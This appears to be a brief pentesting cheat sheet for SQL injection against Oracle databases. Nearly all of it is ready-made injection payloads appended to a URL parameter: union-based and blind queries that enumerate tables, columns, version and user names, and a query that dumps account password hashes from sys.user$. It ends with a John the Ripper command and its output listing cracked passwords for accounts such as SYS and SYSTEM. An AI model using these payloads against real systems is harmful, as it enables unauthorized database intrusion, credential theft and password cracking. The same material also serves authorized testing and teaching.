SQL Injection In Oracle
1. Finding table names
select table_name from user_tables
Example:
192.168.2.199/ora.php?id=101 union all select table_name from user_tables
Blind Injection:
192.168.2.199/ora.php?id=101 and ascii(substr((select table_name from user_tables where rownum=1),1,1))>100
2. Iterating through the different rows:
Unfortunately it is not as straightforward, there is no LIMIT command in Oracle.
Syntax:
select column_1, column_2 from (select rownum r_, column_1, column_2 from table_1, table_2 where field_3 = 'some value') where r_ = 2
EXAMPLE:
192.168.2.199/ora.php?id=101 UNION ALL SELECT TABLE_NAME FROM (SELECT ROWNUM R, TABLE_NAME FROM USER_TABLES) WHERE R = 1
3. Finding column names:
select column_name from user_tab_columns
4. Finding Version:
Select banner from v$version
5. Finding Database user names:
192.168.2.199/ora.php?id=101 union all select username, null from all_users
6. Finding password hashes (the user in connection string should be a dba):
select name, astatus, password from sys.user$ where astatus = 0;
(Here, a status = 0 indicates only the users who are not locked)
Example:
192.168.2.199/ora.php?id=101 union all select name || '--' || password from sys.user$
In the above example: I had only one column to select a string from database, so I had concatenated the username and password field together separated with('--').
7. Cracking passwords using John the Ripper:
Thanks to pentestmonkey for this
$ ./john --rules --wordlist=/home/sid/tools/dictionaries/MAIN-ONE-unix.txt --format=oracle ~/opass
Loaded 14 password hashes with 14 different salts (Oracle [oracle])
DIP (DIP) ORACLE (FLOWS_020100) ORACLE (FLOWS_FILES) ORACLE (XDB) ORACLE (CTXSYS) PASSWORD (HR) PASSWORD (SYSTEM) PASSWORD (SYS) TEST (TEST2) TEST1 (TEST1)
What else do you want from a SQL Injection?